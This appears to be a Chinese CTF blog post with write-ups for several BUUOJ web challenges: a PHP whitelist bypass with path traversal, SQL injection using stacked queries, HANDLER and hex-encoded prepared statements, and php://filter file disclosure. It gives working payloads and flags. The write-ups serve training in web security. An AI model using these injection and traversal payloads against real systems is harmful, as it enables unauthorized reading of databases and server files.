2021-06-01 CTF Webbuuoj day11

博客介绍了多个CTF竞赛题目,包括[HCTF 2018]WarmUp、[极客大挑战 2019]EasySQL等。涉及php代码审计、SQL注入、php文件包含等类型,详细阐述了各题的解题步骤,如查看源代码、构造payload、利用文件包含数据流筛选等,最终得到各题的flag。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

[HCTF 2018]WarmUp

类型

php、代码审计

解题

  1. 打开后右键查看源代码,看到一个注释 ,访问source.php可以看到如下代码:
    source.php
  2. 定义了访问文件白名单限制,允许的白名单有source.php和hint.php:
    whitelist

访问hint.php能看到提示flag在ffffllllaaaagggg中。
hint.php
3. 回到source.php,继续看class emmm,checkFile函数:

(1)isset()判断page是否存在且非NULL;
(2)is_string()判断page是否是字符串;
如果不满足条件,则返回"you can’t see it"
1、2

(3)in_array()判断page是否在whitelist里面:
3

(4)mb_substr()获取page中部分字符串
获取的是从0到mb_strpos()的page.’?’,找到第一个’?'位置。
如:输入source.php,
mb_strpos()得到source.php?中?的位置即10,
mb_substr()得到0到10之间的字符串,即source.php。并赋值给page

4
(5)urldecode()解码
5
(6)将page再做一次截断以及白名单判断如(4)、(3)
6
5. $_REQUEST获取以POST方法和GET方法提交的file,is_string()判断是否是字符串,emmm::checkFile()再检查上述6项内容,都满足就可以include()语句包含并运行指定文件include $_REQUEST[‘file’],否则返回图片:
在这里插入图片描述
6. 也就是如果file满足条件可以读ffffllllaaaagggg,但是得用目录遍历…/…/…/…/…/,最后payload为:source.php?file=hint.php?../…/…/…/…/ffffllllaaaagggg,得到flag:flag{438bb11e-c7d4-472d-9844-177307ed876f}
flag

[极客大挑战 2019]EasySQL

类型

SQL注入

解题

万能密码,用’把前面查询条件闭合,加上or 1=1恒为真的条件,用#再注释掉后面的语句,payload为’ or 1=1#,得到flag:flag{95f210e5-cb48-4dae-9b68-b86085efeea5}
flag

[极客大挑战 2019]Havefun

类型

php代码审计

解题

右键查看源代码,发现一段注释get请求cat参数,当cat等于dog的时候,返回Syc{cat_cat_cat_cat}
注释内容

构造?cat=dog就可以得到flag:
flag{885216dd-7be8-4c5b-90fc-1b07c01040c5}
flag

[强网杯 2019]随便注

类型

SQL注入

解题

'; show databases;#

数据库
2.

'; show tables;#

表
3.

'; show columns from `1919810931114514`;#

发现flag列,查看第一行内容’;select flag from 1919810931114514,select被过滤:
列
select过滤
4. handler语句查询第一行得到flag:flag{a66d3f58-5732-4c2e-84e1-de7c9554e1a6}

HANDLER tbl_name OPEN [ [AS] alias]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST } [WHERE where_condition][LIMIT … ]

构造payload:

';handler `1919810931114514` open as `a`;handler `a` read first;#

flag
5. 还有可以通过16进制编码“select * from 1919810931114514”,用预处理语句(Prepared Statements)绕过同样可达到目的

';SET @a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare abc from @a;execute abc;#

很多更成熟的数据库都支持预处理语句的概念。什么是预处理语句?可以把它看作是想要运行的 SQL 的一种编译过的模板,它可以使用变量参数进行定制。
PREPARE stmt_name FROM preparable_stm
EXECUTE stmt_name [USING @var_name [, @var_name] …]

[SUCTF 2019]EasySQL

类型

SQL注入

解题

  • 测试输入字符,结果无回显:
  • 测试输入数字,回显1;
  • 测试’,1’无回显;
  • 测试1;show databases;show tables;
    databases、tables
  • 测试1,2,3,4,5;回显是
    1,2,3,4,5
  • 测试1,2,3,4,5回显是 1,2,3,4,5
    这里为什么不显示5呢。。。
    看了wp发现是||发生了运算,原理是
select $_GET['query'] || flag from flag

所以,这里输入最后一个数字无论是几,都会和flag进行或运算,所以除了0以外,其余数字都能返回真(1)。

这里有两种方法:
方法一:可以输入*,1得到flag:flag{06063e88-4737-4fbc-955c-d607bf6eb920}。
flag
方法二:输入1;set sql_mode=pipes_as_concat;select 1
pipe_as_concat

[ACTF2020 新生赛]Include

类型

php文件包含

解题

  1. 打开实例后可以看到tips,点击连接是访问?file=flag.php,body内容为“Can you find out the flag?”,提示了flag就在flag.php里。
    tips
  2. 利用文件包含数据流筛选:php://filter/read=convert.base64-encode/resource=flag.php得到base64编码的flag.php源代码(如果直接访问flag.php是会被编译,但flag其实是在注释里,编译会去掉注释,所以利用filter防止flag.php源代码被编译),得到flag:flag{cfe6727f-6a92-41e8-9e2e-d31d3a2e6b37}
    filter筛选后
    解码flag
  3. php://filter/read=convert.base64-encode/resource=index.php得到base64编码的index.php源代码
    include()
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值